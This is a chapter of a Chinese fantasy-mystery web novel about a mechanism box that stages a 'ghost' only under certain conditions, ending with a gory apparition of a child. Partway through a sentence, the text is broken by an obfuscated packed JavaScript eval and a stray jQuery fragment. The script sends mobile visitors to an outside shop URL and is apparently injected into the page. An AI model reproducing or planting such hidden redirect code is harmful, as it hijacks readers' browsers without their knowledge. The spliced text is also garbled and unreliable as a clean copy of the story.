房间内陷入沉默,白央拿起手帕拭去眼角的泪珠,余容垂下眼睛,有些不忍地看向桌上那物。
身受重伤意外得救的女孩,原本心如死灰,却在看到精妙机关后重燃生机、拼命研习,学成之后义无反顾地离开,她要做的“那件不被理解的事”,即便没说出口,在座之人却也都能猜到七七八八。
余容揉着额角回忆片刻,道:“十六年前,龚钰生被莫家之犬咬伤,其父龚金贵追杀莫家,致使后者马车倾翻摔落山崖。卷宗记载,莫家一家四口均下落不明,分别是莫桢,男,三十五岁;莫氏,女,三十二岁;莫沙子,女,十五岁;莫谷麟,男,九岁。这里的时间,还有当事人的年龄,都与你说的事情对的上。”
白央身子一抖,而后咬牙道:“那两个姓龚的真是丧尽天良!如果这是元姐的过去,那她现在不也只是为了复仇吗,我支持她血债血偿,二位难道还要坚持将她捉拿归案?”
羲道:“如若查清她的动机真是复仇,我不会再干涉。”
余容犹豫片刻,道:“我也是,只是……目前还有很多疑点,解开这机关盒的秘密很关键,我想知道真相。”
白央看着他们,良久,含泪一笑,站起身庄重抱拳:“白央,谢过二位。”
羲和余容便也起身回礼。余容道:“你太客气了,我们也没做什么,怎么担得起这个谢字呢?”
白央看着桌上的木盒,叹息着道:“谢二位为我带来徒儿的消息,谢二位愿意体谅一个孩子的心事。”
她召来“白飞飞”送上工具,拿过桌上那扁长的木盒,将其巧妙地拆分为二,众人这才得见其中情状:这机关内部也被木框分作两部分,小的那部分中堆砌着密密麻麻的齿轮,而大的那部分里则铺着厚厚的细沙。
白央道:“是齿轮被一些沙子和木屑卡住了,稍等片刻,很快就能修好。”
她拿过工具对着木盒捣鼓了一会,便道一声“好啦”,将那木盒咔哒一声合上了。
羲道:“这便好了?”
白央点头:“是的,修好了呀。”
可此刻那木盒安静得很,同她修理之前似乎毫无区别。羲委婉地道:“可是,我之前见到它的时候,似乎发生了一些……很特别的事。”
白央哦了一声,解释道:“因为有些机关是有‘触发条件’的,这个就是。如果它周围的环境没有达到这个条件,就什么都不会发生,我们现在就没有达到它的条件。”
羲追问:“那它的条件是什么?”
“刚才只顾着清理,没注意看,再等我一下。”白央挠头一笑,又把木盒拆开了,捣鼓一番,她捏起两枚齿轮,道,“首先呢,时间要在亥时之后寅时之前,其次,人走路的脚步声足够清晰……”
羲回想了一下,她确实是在夜间、在龚家祖宅走动的过程中撞见“鬼”的。
白央把那两枚齿轮塞回原处,又用工具夹出一排小齿轮,道:“这?这是……附近不能有灵气?怎么设了这样的条件啊。”
作为局外人的她一头雾水,羲和余容却是头皮发麻,一瞬间,全都说通了!
想让来到龚家祖宅的人“撞鬼”,只需要前两个条件即可。可若想只让龚老太“撞鬼”,那便必须再加上第三条!
元姐在制作机关时显然想到了龚老太会求助的可能,试问她会求谁相助?人情淡薄的邻居不会搭理,焦头烂额的官府没有能力,这种和妖魔鬼怪扯上关系的案子,自然只会轮到北斗阁的修士来管,但只要是修士,除非刻意隐藏,身上就必定会散出灵气。
可寻常人怎会想到这点?甚至会恨不得将全部灵力都放出来,一下子把邪祟镇住才好。
但凡是有能力的、愿意来帮龚老太的人,都无法达成这机关盒的条件,所以无论去多少人、去多少次,都只能扑空,最后得出一个“老太太失心疯产生幻觉了”的结论。
除了羲。她浑身上下一丝灵力也没有,法器和符咒只有在使用时才会显灵,却顶着比铁还硬的头冲进去了。
得知真相竟是如此,羲坐在那堆机关旁边,无可奈何地笑出了声。
白央利索地把所有齿轮归位,敲敲装好的木盒,道:“同时满足这三个条件,盒子里的细沙就会通过盒顶留的小孔被吹向空中,变成一块类似于画纸的东西漂浮着。你们再看这旁边的琉璃板,用处大着呢,啧啧,不愧是我最优秀的徒儿!白天的时候,吸收阳光的能量作为动力,保证机关运转;等到晚上机关被触发,琉璃板就会把不同颜色的光投放到细沙组成的‘画纸’上,就像看皮影戏一样。”
余容惊叹道:“太厉害了!”
白央挺胸扬头道:“我们元姐儿是很厉害的!现在刚到戌时,我们先休息会,等到了亥时,把身上的灵力都隐藏掉,就可以达到这个机关的条件了,一起看看呗?”
余容很感兴趣地同意了。羲悠悠地道:“你们确定吗?我觉得还是不要了。”
“要的要的,”白央坚持地道,“你们说不定能再看到一些线索,我也想看看徒儿精心制作的机关到底效果如何嘛!”
她兴致勃勃地把那木盒放到旁边柔软宽阔的地毯上,招呼羲和余容享用美食。吃好之后,距离亥时还有一段时间,白央索性调暗了房间的灯光,引二人来到雕栏旁赏景。
这座摘星阁位于整个妖界最中心的最高处,此刻屋内光线暗了,外面的绚丽便从琉璃窗透了进来,真是小楼溢彩、大殿流光,还有天上飞的地上跑的水里游的,各色光芒看得人眼花缭乱,应接不暇。
余容一时看愣了,喃喃道:“真美啊……”
白央叉腰笑道:“是啊是啊,二位要不要在我这里定居啊~以后每天都能享受这种神仙都羡慕的日子,岂不美哉?”
羲道:“确实。”
白央:“嗯?‘确实’……是想来住下的意思吗?”
羲笑着点头,换了个话题:“大人,十六年前你在树林中,只遇到了元姐一人吗?”
白央道:“是啊,刚才你说他们全家掉下山崖,我还觉得可惜呢,要是能把四个人全都捡回来,元姐肯定不会像现在这么痛苦吧。”
她面露遗憾,清秀的眉头微微蹙着,被琉璃窗外的光映上一层暗色。羲道:“皆为命数,大人不必自责。再请问:元姐自刚认识你时,便称自己名为‘元姐’吗?大人是否知道她从前的名姓?”
白央缓缓摇头道:“她一开始什么话都不肯说,是我说想拜我为师就要告诉我名字,她才低头犟了很久,跟我说她叫元姐,后来也一直没讲过她从前的事。如果不是你们,我根本就不知道她原本姓莫名沙子,不过这名字也太敷衍了吧!虽然我没孩子,但‘白飞飞’这个名字,可是我翻了很多典籍才取出来的。”
羲对此表示认可,想了想又道:“听说凡间有种说法,给小孩子用常见的物品当作名字,会对其成长有利,有没有可能是这个原因呢?”
白央轻嗤一声:“那她弟弟的名字怎么那么复杂?换一个人就不讲究那些说法了?完全就是区别对待。”
羲沉默片刻,道:“你说得很对。”
元姐和莫沙子,究竟是否为同一人?虽然时间经历似乎能对上,可她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949380|214136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被寻到时为何只有孤身一人?又为何刻意隐藏自己的本名?
羲又开始困惑起来。一旁的白央正拉着余容叙旧,应该是非常想通过一些特殊事件提醒对方记起自己,但得到的只有傻笑,真是越努力越心酸。
看着余容那为难的样子,羲抓紧找了个新话题,帮忙吸引白央的注意:“大人,等下要把灵力都隐藏,可是后面那个被捆住的人怎么办?符咒上有灵力,但我不想把他放出来,不如现在将他关起来吧。”
“这个好办,”白央果真忘了方才的失落,道,“机关盒设定的检测条件是三丈之内不得有灵力,我这摘星阁可比三丈宽的多,只要把他扔在角落里,离得远一些就不会影响。”
羲依言照做,拎着琴古站到了房间最边角的地方,看眼神,琴古似乎已经没有刚来时的那股桀骜了,也不知是对元姐的机关盒感到好奇,还是被捆得没了脾气。
羲低声问他:“你不是很厉害吗?怎么不挣开束缚,把这里全砸了?”
琴古把眼睛闭上了。
羲心情大好,还想再多挑衅几句。白央那边却蓦地响起一阵轻快的旋律,停了那旋律后,白央道:“亥时到了!收灵力!”
众人便都屏息凝神,白央环顾一周,羲和余容颔首示意,于是她便用力地走了两步。
“唰啦唰啦……”
是细沙缓缓流动的声音。
在四人目不转睛的注视中,房间中央缓缓现出一个稚童的身影,他开心地大笑着,笑声空洞地回荡着。
笑着笑着,他的脑袋,“噗”地一声,炸开了。
房间里响起一声惨烈的尖叫,不过是白央的。
那稚童转过身,他的脑袋居然还在,破破烂烂地被一丝皮肉倒吊在后背前,摇摇晃晃。他一边后退,又或者是前进?一边张开嘴,露出一个很大的笑容。但因为头是反的,那向下扬起的嘴角实在过于诡异。
汩汩鲜血这才从脖颈断裂处涌出,顺着他的下巴,流进嘴里、鼻里、眼里……
他笑嘻嘻又哭啼啼地道:“来陪我玩吧……”
“哐当”一声巨响,是白央跳到余容身后时不小心撞翻了一张茶桌,她哭喊道:“救命啊恩人!”
余容本来没怎么被吓到,此刻却被她吓了一跳,哭笑不得地道:“是假的,别怕——”
谁知就在此时,寒光一闪!
余容下意识拽着白央闪向旁侧,有什么东西贴着他们的耳畔飞过去,随后,那动作至半的稚童身形抖了抖,迅速消失了。
白央拼命地拍手,房间瞬时灯光大亮,刺得人连眼睛都睁不开。余容的外衣被扯掉一半,白央还在拽着衣角发抖,余容温声安抚她几句,等她勉强缓过气来,才去两人方才立足之处仔细观察。
“好多沙?把窗台都打出洞了,这是怎么回事?”
白央揉着心口道:“我的问题,我的问题,刚刚被吓到了,灵力没收住。这个机关有一点我刚才没说,它有防御机制,就是触发中途如果有灵力靠近,它会向灵力来源处弹射沙子进行攻击,然后立刻停止运转。还有一个没说,它一夜只能触发一次,今夜我们没危险了,别害怕,别害怕。”
余容若有所思地道:“难怪羲撞见它那次受伤了,应该是她突然使用符咒,触发了它的防御吧……也难怪龚老太搬家撞鬼之后,羲去调查整夜却没看到,因为一夜只能出现一次……”
之前的疑惑得到解答,他兴冲冲地朝角落的羲跑来,“这下,关于机关盒的疑点都查清了,我们只要回去好好查莫家的案子,就可以——你怎么了?!”